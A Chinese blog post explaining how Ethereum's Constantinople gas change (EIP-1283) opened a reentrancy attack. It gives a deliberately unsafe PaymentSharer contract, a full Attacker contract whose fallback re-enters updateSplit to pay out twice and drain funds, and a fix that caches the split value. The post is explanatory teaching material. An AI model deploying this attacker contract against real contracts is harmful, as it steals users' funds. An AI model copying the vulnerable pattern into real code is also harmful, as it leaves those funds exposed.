标签:evm 扩容 send 难度 alt sign app == fir
目录
君士坦丁堡是最近以太坊的大事,主要做了一下改进
其中EIP 1283 最重要的改动就是对于修改合约内容更加便宜了,原来修改非0内容的地址需要5000gas,现在只需要200gas.
具体意思就是
//第一次写入
Contract.A=300 //花费20000gas
//第二次写入
Contract.A=500 //花费5000gas,如果是君士坦丁堡分叉以后只有200gas.
这对于DAPP而言肯定是好事,降低了DAPP的成本.但是意外却引入了安全风险.
一份双方协调分成的合约,简化起见,里面很多安全问题没检查,比如updateSplit应该只能参与双方更新.
//PaymentSharer.sol
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100); //transfer 给2100 gas执行事务
b.transfer(depo * (100 - splits[id]) / 100);
}
}
双方协商一致,调用updateSplit,定下各自应得多少比例.然后就可以调用splitFunds,分别拿走各自的ether.
这在君士坦丁堡分叉之前,是非常安全的.
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
PaymentSharer x = PaymentSharer(victim);
x.updateSplit(0,0); //修改split,这样下b.transfer就不再是transfer 0,达到双倍收益.
}
//从合约中拿走全部ether
function drain() external {
owner.transfer(address(this).balance);
}
}
最关键的是第三步的调用顺序:
attack-->updateSplit-->attack--->splitFunds(a全得,b没有)--->a.transfer--->Attacker‘s fallback--->updateSplit(a没有,b全得)-->b.transfer
最终a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是预想的只有拿走全部.
合约中调用transfer函数的gas是固定的,只能是2300,无法改动. 而Attacker‘s fallback 函数中调用updateSplit, 其中 splits[id] = split;
这一句话就会消耗5000gas,因此attack这个Tx会失败.
splits[id] = split;
只会消耗gas200,因此有足够的gas来执行updateSplit, 所以a.transfer会成功,然后b.transfer自然也会成功.
针对这个问题解决起来非常简单.下面就是一种修正方法.
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
uint s=splits[id];
a.transfer(depo * s / 100); //transfer 给2100 gas执行事务
b.transfer(depo * (100 - s) / 100);
}
这样就算是Attacker有了重入的机会,可以执行代码,也不会有任何额外收益. 应该说合约的设计者已经考虑到a.transfer的重入问题,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.
合约一旦发布就无法修改,但是EVM规则却可以通过分叉修改,可以解决以后的问题,但是却不能修复已经发布的合约.
本来参考了一下文章
Constantinople enables new Reentrancy Attack
标签:evm 扩容 send 难度 alt sign app == fir
原文地址:https://www.cnblogs.com/baizx/p/10290049.html